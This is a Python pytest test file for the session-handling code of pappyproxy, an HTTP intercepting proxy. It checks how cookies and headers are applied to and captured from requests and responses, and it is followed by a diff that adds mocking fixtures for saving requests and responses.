import pytest
from pappyproxy.session import Session
from pappyproxy.http import Request, Response, ResponseCookie
@pytest.fixture
def req():
r = Request()
r.status_line = 'GET / HTTP/1.1'
return r
@pytest.fixture
def rsp():
r = Response()
r.status_line = 'HTTP/1.1 200 OK'
return r
def test_session_basic(req, rsp):
s = Session(
cookie_vals={'session':'foo'},
header_vals={'auth':'bar'},
)
assert 'session' not in req.cookies
assert 'session' not in rsp.cookies
assert 'auth' not in req.headers
assert 'auth' not in rsp.headers
s.apply_req(req)
s.apply_rsp(rsp)
assert req.cookies['session'] == 'foo'
assert rsp.cookies['session'].cookie_str == 'session=foo'
assert req.headers['auth'] == 'bar'
assert 'auth' not in rsp.headers
def test_session_cookieobj_basic(req, rsp):
s = Session(
cookie_vals={'session':ResponseCookie('session=foo; secure; httponly; path=/')},
header_vals={'auth':'bar'},
)
s.apply_req(req)
s.apply_rsp(rsp)
assert req.cookies['session'] == 'foo'
assert rsp.cookies['session'].key == 'session'
assert rsp.cookies['session'].val == 'foo'
assert rsp.cookies['session'].secure
assert rsp.cookies['session'].http_only
assert rsp.cookies['session'].path == '/'
assert req.headers['auth'] == 'bar'
assert 'auth' not in rsp.headers
def test_session_get_req(req):
req.headers['BasicAuth'] = 'asdfasdf'
req.headers['Host'] = 'www.myfavoritecolor.foobar'
req.cookies['session'] = 'foobar'
req.cookies['favorite_color'] = 'blue'
s = Session()
s.get_req(req, ['session'], ['BasicAuth'])
assert s.cookies == ['session']
assert s.headers == ['BasicAuth']
assert s.cookie_vals['session'].val == 'foobar'
assert s.header_vals['BasicAuth'] == 'asdfasdf'
assert 'Host' not in s.headers
assert 'favorite_color' not in s.cookies
def test_session_get_rsp(rsp):
rsp.headers['BasicAuth'] = 'asdfasdf'
rsp.headers['Host'] = 'www.myfavoritecolor.foobar'
rsp.set_cookie(ResponseCookie('session=foobar; secure; path=/'))
rsp.set_cookie(ResponseCookie('favorite_color=blue; secure; path=/'))
s = Session()
s.get_rsp(rsp, ['session'])
assert s.cookies == ['session']
assert s.headers == []
assert s.cookie_vals['session'].key == 'session'
assert s.cookie_vals['session'].val == 'foobar'
assert s.cookie_vals['session'].path == '/'
assert s.cookie_vals['session'].secure
def test_session_mixed(req, rsp):
s = Session(
cookie_names=['session', 'state'],
cookie_vals={'session':ResponseCookie('session=foo; secure; httponly; path=/')},
header_vals={'auth':'bar'},
)
s.apply_req(req)
s.apply_rsp(rsp)
assert req.cookies['session'] == 'foo'
assert rsp.cookies['session'].key == 'session'
assert rsp.cookies['session'].val == 'foo'
assert rsp.cookies['session'].secure
assert rsp.cookies['session'].http_only
assert rsp.cookies['session'].path == '/'
assert 'auth' not in rsp.headers
r = Response()
r.status_line = 'HTTP/1.1 200 OK'
r.set_cookie(ResponseCookie('state=bazzers'))
r.set_cookie(ResponseCookie('session=buzzers'))
s.get_rsp(r)
assert s.cookie_vals['session'].val == 'buzzers'
assert s.cookie_vals['state'].val == 'bazzers'

View file

@ -1,6 +1,11 @@
import __builtin__
import mock
import pytest
import StringIO
from twisted.internet import defer
next_mock_id = 0
class ClassDeleted():
pass
@ -40,3 +45,31 @@ def no_database(mocker):
# Don't make database queries
mocker.patch("twisted.enterprise.adbapi.ConnectionPool",
new=ClassDeleted)
def fake_save_request(r):
global next_mock_id
r.reqid = next_mock_id
next_mock_id += 1
return mock_deferred(None)
def fake_save_response(r):
global next_mock_id
r.rspid = next_mock_id
next_mock_id += 1
return mock_deferred(None)
@pytest.fixture
def fake_saving(mocker):
mocker.patch("pappyproxy.http.Request.async_save", new=fake_save_request)
mocker.patch("pappyproxy.http.Response.async_save", new=fake_save_response)
@pytest.fixture
def mock_deep_save(mocker, fake_saving):
new_deep_save = mock.MagicMock()
new_deep_save.return_value = mock_deferred(None)
mocker.patch("pappyproxy.http.Request.async_deep_save", new=new_deep_save)
return new_deep_save
def print_fuck(*args, **kwargs):
print 'fuck'